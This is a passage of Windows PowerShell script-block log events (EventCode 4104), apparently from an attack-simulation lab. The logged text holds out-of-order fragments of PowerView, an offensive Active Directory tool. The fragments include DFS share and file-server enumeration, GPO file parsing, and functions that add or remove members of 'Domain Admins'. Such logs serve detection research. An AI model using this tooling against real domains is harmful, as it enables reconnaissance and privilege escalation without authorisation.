$Properties.remoteservername $Pkt = $Properties.pkt $DFSshares += $RemoteNames | ForEach-Object { try { if ( $_.Contains('\') ) { New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} } } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" } } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" } } $DFSSearcher.dispose() if ($pkt -and $pkt[0]) { Parse-Pkt $pkt[0] | ForEach-Object { # If a folder doesn't have a redirection it will have a target like # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match # on 'null' rather than $Null if ($_ -ne 'null') { New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} } } } } catch { Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" } $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } } function Get-DomainDFSShareV2 { [CmdletBinding()] Param( [String] $Domain, [String] $SearchBase, [String] $Server, [String] $SearchScope = 'Subtree', [Int] $ResultPageSize = 200, [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $DFSsearcher = Get-DomainSearcher @PSBoundParameters if ($DFSsearcher) { $DFSshares = @() $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) try { $Results = $DFSSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $target_list = $Properties.'msdfs-targetlistv2'[0] $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) $DFSshares += $xml.targets.ChildNodes | ForEach-Object { try { $Target = $_.InnerText if ( $Target.Contains('\') ) { $DFSroot = $Target.split('\')[3] $ShareName = $Properties.'msdfs-linkpathv2'[0] New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} } } catch { Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" } } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" } } $DFSSearcher.dispose() } catch { Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" } $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } } } PROCESS { $DFSshares = @() if ($PSBoundParameters['Domain']) { ForEach ($TargetDomain in $Domain) { $SearcherArguments['Domain'] = $TargetDomain if ($Version -match 'all|1') { $DFSshares += Get-DomainDFSShareV1 @SearcherArguments } if ($Version -match 'all|2') { $DFSshares += Get-DomainDFSShareV2 @SearcherArguments } } } else { if ($Version -match 'all|1') { $DFSshares += Get-DomainDFSShareV1 @SearcherArguments } if ($Version -match 'all|2') { $DFSshares += Get-DomainDFSShareV2 @SearcherArguments } } $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique } } ######################################################## # # GPO related functions. # ######################################################## function Get-GptTmpl { <# .SYNOPSIS Helper to parse a GptTmpl.inf policy file path into a hashtable. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent .DESCRIPTION Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf is constructed and assumed to be the parse target. If -Credential is passed, Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. .PARAMETER GptTmplPath Specifies the GptTmpl.inf file path name to parse. .PARAMETER OutputObject Switch. Output a custom PSObject instead of a hashtable. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" Parse the default domain policy .inf for dev.testlab.local .EXAMPLE Get-DomainGPO testing | Get-GptTmpl Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" Parse the default domain policy .inf for dev.testlab.local using alternate credentials. .OUTPUTS Hashtable Ouputs a hashtable representing the parsed GptTmpl.inf file. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('gpcfilesyspath', 'Path')] [String] $GptTmplPath, [Switch] $OutputObject, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } $TargetGptTmplPath = $GptTmplPath if (-not $TargetGptTmplPath.EndsWith('.inf')) { $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' } Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" if ($PSBoundParameters['OutputObject']) { $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop if ($Contents) { $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath $Contents } } else { $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop if ($Contents) { $Contents['Path'] = $TargetGptTmplPath $Contents } } } catch { Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-GroupsXML { <# .SYNOPSIS Helper to parse a groups.xml file path into a custom object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989515 Keywords=None Message=Creating Scriptblock text (35 of 61): lause Required Dependencies: Get-DomainSearcher .DESCRIPTION This function searches for all distributed file systems (either version 1, 2, or both depending on -Version X) by searching for domain objects matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively The server data is parsed appropriately and returned. .PARAMETER Domain Specifies the domains to use for the query, defaults to the current domain. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainDFSShare Returns all distributed file system shares for the current domain. .EXAMPLE Get-DomainDFSShare -Domain testlab.local Returns all distributed file system shares for the 'testlab.local' domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainDFSShare -Credential $Cred .OUTPUTS System.Management.Automation.PSCustomObject A custom PSObject describing the distributed file systems. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [Alias('DomainName', 'Name')] [String[]] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateSet('All', 'V1', '1', 'V2', '2')] [String] $Version = 'All' ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } function Parse-Pkt { [CmdletBinding()] Param( [Byte[]] $Pkt ) $bin = $Pkt $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) $offset = 8 #https://msdn.microsoft.com/en-us/library/cc227147.aspx $object_list = @() for($i=1; $i -le $blob_element_count; $i++){ $blob_name_size_start = $offset $blob_name_size_end = $offset + 1 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) $blob_name_start = $blob_name_size_end + 1 $blob_name_end = $blob_name_start + $blob_name_size - 1 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) $blob_data_size_start = $blob_name_end + 1 $blob_data_size_end = $blob_data_size_start + 3 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) $blob_data_start = $blob_data_size_end + 1 $blob_data_end = $blob_data_start + $blob_data_size - 1 $blob_data = $bin[$blob_data_start..$blob_data_end] switch -wildcard ($blob_name) { "\siteroot" { } "\domainroot*" { # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... # DFSRootOrLinkIDBlob $root_or_link_guid_start = 0 $root_or_link_guid_end = 15 $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str $prefix_size_start = $root_or_link_guid_end + 1 $prefix_size_end = $prefix_size_start + 1 $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) $prefix_start = $prefix_size_end + 1 $prefix_end = $prefix_start + $prefix_size - 1 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) $short_prefix_size_start = $prefix_end + 1 $short_prefix_size_end = $short_prefix_size_start + 1 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) $short_prefix_start = $short_prefix_size_end + 1 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) $type_start = $short_prefix_end + 1 $type_end = $type_start + 3 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) $state_start = $type_end + 1 $state_end = $state_start + 3 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) $comment_size_start = $state_end + 1 $comment_size_end = $comment_size_start + 1 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) $comment_start = $comment_size_end + 1 $comment_end = $comment_start + $comment_size - 1 if ($comment_size -gt 0) { $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) } $prefix_timestamp_start = $comment_end + 1 $prefix_timestamp_end = $prefix_timestamp_start + 7 # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime $state_timestamp_start = $prefix_timestamp_end + 1 $state_timestamp_end = $state_timestamp_start + 7 $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] $comment_timestamp_start = $state_timestamp_end + 1 $comment_timestamp_end = $comment_timestamp_start + 7 $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] $version_start = $comment_timestamp_end + 1 $version_end = $version_start + 3 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) # Parse rest of DFSNamespaceRootOrLinkBlob here $dfs_targetlist_blob_size_start = $version_end + 1 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 $reserved_blob_size_end = $reserved_blob_size_start + 3 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) $reserved_blob_start = $reserved_blob_size_end + 1 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] $referral_ttl_start = $reserved_blob_end + 1 $referral_ttl_end = $referral_ttl_start + 3 $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) #Parse DFSTargetListBlob $target_count_start = 0 $target_count_end = $target_count_start + 3 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) $t_offset = $target_count_end + 1 for($j=1; $j -le $target_count; $j++){ $target_entry_size_start = $t_offset $target_entry_size_end = $target_entry_size_start + 3 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) $target_time_stamp_start = $target_entry_size_end + 1 $target_time_stamp_end = $target_time_stamp_start + 7 # FILETIME again or special if priority rank and priority class 0 $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] $target_state_start = $target_time_stamp_end + 1 $target_state_end = $target_state_start + 3 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) $target_type_start = $target_state_end + 1 $target_type_end = $target_type_start + 3 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) $server_name_size_start = $target_type_end + 1 $server_name_size_end = $server_name_size_start + 1 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) $server_name_start = $server_name_size_end + 1 $server_name_end = $server_name_start + $server_name_size - 1 $server_name = [System.Text.Encoding ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989514 Keywords=None Message=Creating Scriptblock text (34 of 61): -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred Creates the 'andy' user with the specified description and password, using the specified alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember and the alternate credentials. .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('MemberIdentity', 'Member', 'DistinguishedName')] [String[]] $Members, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $GroupContext = Get-PrincipalContext @ContextArguments if ($GroupContext) { try { $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) } catch { Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" } } } PROCESS { if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { $ContextArguments['Identity'] = $Member $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity } } else { $UserContext = $GroupContext $UserIdentity = $Member } Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) $Group.Members.Add($Member) $Group.Save() } } } } function Remove-DomainGroupMember { <# .SYNOPSIS Removes a domain user (or group) from an existing domain group, assuming appropriate permissions to do so. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified -GroupIdentity, which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For each entry in -Members, each member identity is similarly searched for and removed from the group. .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to remove members from. .PARAMETER Members One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' Removes harmj0y from 'Domain Admins' in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials. .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('MemberIdentity', 'Member', 'DistinguishedName')] [String[]] $Members, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $GroupContext = Get-PrincipalContext @ContextArguments if ($GroupContext) { try { $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) } catch { Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_" } } } PROCESS { if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { $ContextArguments['Identity'] = $Member $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity } } else { $UserContext = $GroupContext $UserIdentity = $Member } Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'" $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) $Group.Members.Remove($Member) $Group.Save() } } } } function Get-DomainFileServer { <# .SYNOPSIS Returns a list of servers likely functioning as file servers. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher .DESCRIPTION Returns a list of likely fileservers by searching for all users in Active Directory with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying the server names. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainFileServer Returns active file servers for the current domain. .EXAMPLE Get-DomainFileServer -Domain testing.local Returns active file servers for the 'testing.local' domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainFileServer -Credential $Cred .OUTPUTS String One or more strings representing file server names. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] [CmdletBinding()] Param( [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [Alias('DomainName', 'Name')] [String[]] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { function Split-Path { # short internal helper to split UNC server paths Param([String]$Path) if ($Path -and ($Path.split('\\').Count -ge 3)) { $Temp = $Path.split('\\')[2] if ($Temp -and ($Temp -ne '')) { $Temp } } } $SearcherArguments = @{ 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' 'Properties' = 'homedirectory,scriptpath,profilepath' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { ForEach ($TargetDomain in $Domain) { $SearcherArguments['Domain'] = $TargetDomain $UserSearcher = Get-DomainSearcher @SearcherArguments # get all results w/o the pipeline and uniquify them (I know it's not pretty) $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique } } else { $UserSearcher = Get-DomainSearcher @SearcherArguments $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique } } } function Get-DomainDFSShare { <# .SYNOPSIS Returns a list of all fault-tolerant distributed file systems for the current (or specified) domains. Author: Ben Campbell (@meatballs__) License: BSD 3-C ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989513 Keywords=None Message=Creating Scriptblock text (33 of 61): er] Error converting $MemberDN" $MemberDomain = $Null } } else { # extract the FQDN from the Distinguished Name $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } catch { $MemberDN = $Null $MemberDomain = $Null } if ($Properties.samaccountname) { # forest users have the samAccountName set $MemberName = $Properties.samaccountname[0] } else { # external trust users have a SID, so convert it try { $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments } catch { # if there's a problem contacting the domain to resolve the SID $MemberName = $Properties.cn[0] } } if ($Properties.objectclass -match 'computer') { $MemberObjectClass = 'computer' } elseif ($Properties.objectclass -match 'group') { $MemberObjectClass = 'group' } elseif ($Properties.objectclass -match 'user') { $MemberObjectClass = 'user' } else { $MemberObjectClass = $Null } $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') $GroupMember # if we're doing manual recursion if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" $SearcherArguments['Identity'] = $MemberDN $Null = $SearcherArguments.Remove('Properties') Get-DomainGroupMember @SearcherArguments } } } $GroupSearcher.dispose() } } } function Get-DomainGroupMemberDeleted { <# .SYNOPSIS Returns information on group members that were removed from the specified group identity. Accomplished by searching the linked attribute replication metadata for the group using Get-DomainObjectLinkedAttributeHistory. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObjectLinkedAttributeHistory .DESCRIPTION Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute replication metadata for the specified group. These are cases where the 'Version' attribute of group member in the replication metadata is even. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone 